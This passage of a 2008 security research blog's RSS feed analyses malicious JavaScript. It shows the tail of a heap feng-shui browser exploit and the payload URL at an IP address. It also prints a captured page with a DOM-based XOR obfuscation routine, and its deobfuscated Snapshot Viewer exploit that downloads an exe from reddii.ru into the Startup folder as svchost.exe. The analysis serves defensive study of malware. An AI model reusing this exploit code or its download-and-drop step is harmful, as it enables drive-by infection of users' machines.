            &lt;span class="nx"&gt;CollectGarbage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; 
            &lt;span class="nx"&gt;flush&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="nx"&gt;alloc_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;vtable&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nx"&gt;alloc_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;vtable&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lookaside&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nx"&gt;free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lookaside&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="nx"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x2010&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;alloc_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fakeObjChunk&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nx"&gt;alloc_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fakeObjChunk&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;freeList&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;       
            &lt;span class="nx"&gt;alloc_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fakeObjChunk&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nx"&gt;free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;freeList&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;KeyFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x40000801&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;){}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In all cases, the binary to be downloaded lives at
&lt;code&gt;http://59.125.229.71/ex/7/load.php?id=106&lt;/code&gt; and is well recognized by most
&lt;a href="http://www.virustotal.com/analisis/b9de3d9039fab305c2c58d189506590a
" title="VirusTotal report for binary b9de3d9039fab305c2c58d189506590a"&gt;anti-virus&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update (10/17/08)&lt;/strong&gt;: The &lt;a href="http://xanalysis.blogspot.com/"&gt;xplo0it Analysis&lt;/a&gt;
blog also has a nice
&lt;a href="http://xanalysis.blogspot.com/2008/09/exploit-toolkit-expansion.html"&gt;description&lt;/a&gt;
of this exploit.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/G_VHZ9VmsvM" height="1" width="1"/&gt;</description><category>malware</category><category>javascript</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2008/10/17-exploits-and-some-feng-shui.html</guid><pubDate>Thu, 16 Oct 2008 23:15:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2008/10/17-exploits-and-some-feng-shui.html</feedburner:origLink></item><item><title>DOM-based obfuscation in malicious JavaScript</title><link>http://feedproxy.google.com/~r/ucsb/marco/~3/aRZoldF2MPE/dom-based-obfuscation-in-malicious-javascript.html</link><description>&lt;p&gt;A few weeks ago, the good folks of &lt;a href="http://www.malwaredomainlist.com/" title="Malware Domain List"&gt;Malware Domain
List&lt;/a&gt; pointed
out an interesting &lt;a href="http://www.malwaredomainlist.com/forums/index.php?topic=2264.0
" title="Haven't seen this one before [malwaredomainlist.com]"&gt;new obfuscation
technique&lt;/a&gt; being used by
some malicious JavaScript samples.&lt;/p&gt;

&lt;p&gt;Here's the code of the malicious page (from reddii.ru):&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;text&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;display:none&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;vimamikolu2&amp;#39;&lt;/span&gt;
&lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;kekin1=new Array(161,244,251,239,252,240,248,189,238,239,254,&lt;/span&gt;
&lt;span class="s"&gt;...&lt;/span&gt;
&lt;span class="s"&gt;166,144,151,161,178,238,254,239,244,237,233,163);&amp;#39;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;votot&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;);};&lt;/span&gt;
&lt;span class="nx"&gt;dotemerape7&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;lifum&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;80.131&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SQRT1_2&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;16.601&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;LOG2E&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;342.801&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;LN2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;vimamikolu2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pidum9&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;pidum9&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;1577&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;pidum9&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nx"&gt;dotemerape7&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;kekin1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;pidum9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="nx"&gt;lifum&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;votot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dotemerape7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As it's typically done, this code just acts as the decoding routine for
the actual exploit code, which is obfuscated. However, in this case, the
obfuscated code is stored and dynamically retrieved from the HTML code
surrounding the JavaScript code. More precisely, the decoding routine
retrieves the value of the attribute &lt;code&gt;value&lt;/code&gt; of the HTML element with id
&lt;code&gt;vimamikolu2&lt;/code&gt;. This string is evaluated via &lt;code&gt;eval&lt;/code&gt;: this defines the
array &lt;code&gt;kekin1&lt;/code&gt;. Then, the code applies &lt;code&gt;String.fromCharCode&lt;/code&gt; to each
element of the array (xored with a constant value), and writes the
result back to the page.&lt;/p&gt;

&lt;p&gt;While not particularly difficult to reverse manually, this deobfuscation
technique has an important consequence for deobfuscation and analysis
tools: they 
need to have a decent implementation of the DOM model (e.g., understand
the getElementById function) in order to
automatically get around this kind of tricks. Incidentally, I'm working
on one such tool (which handles this sample just fine) and should have
something ready (and releasable) soon: check back!&lt;/p&gt;

&lt;p&gt;The deobfuscated code reveals the usual exploit for the MDAC
vulnerability and a more interesting (and recent) exploit for the Office 
Snapshot Viewer vulnerability
(&lt;a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2463
" title="CVE-2008-2463 [mitre.org]"&gt;CVE-2008-2463&lt;/a&gt;):&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;goMDAC&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;goPDF&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;wnd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;wnd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="nx"&gt;wnd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nx"&gt;wnd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;wnd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parent&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;wnd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;getfile.php?f=vispdf&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;goSnap&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;sfrom&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http://reddii.ru/traffic/sploit1/getexe.php?h=12&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;sto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;c:/Documents and Settings/All Users/Start Menu/Programs/Startup/&amp;#39;&lt;/span&gt;
     &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;svchost.exe&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;snapattack&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SnapshotPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sfrom&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;snapattack&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CompressedPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sto&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="nx"&gt;snapattack&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PrintSnapshot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sfrom&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;sto&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;goMDAC();&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;goPDF();&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;goSnap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Another interesting aspect of this exploit is that it (also) tries to
download PDF files. But this is material for another post...&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ucsb/marco/~4/aRZoldF2MPE" height="1" width="1"/&gt;</description><category>malware</category><category>javascript</category><guid isPermaLink="false">http://www.cs.ucsb.edu/~marco/blog/2008/10/dom-based-obfuscation-in-malicious-javascript.html</guid><pubDate>Wed, 15 Oct 2008 23:30:00 GMT</pubDate><feedburner:origLink>http://www.cs.ucsb.edu/~marco/blog/2008/10/dom-based-obfuscation-in-malicious-javascript.html</feedburner:origLink></item></channel></rss>
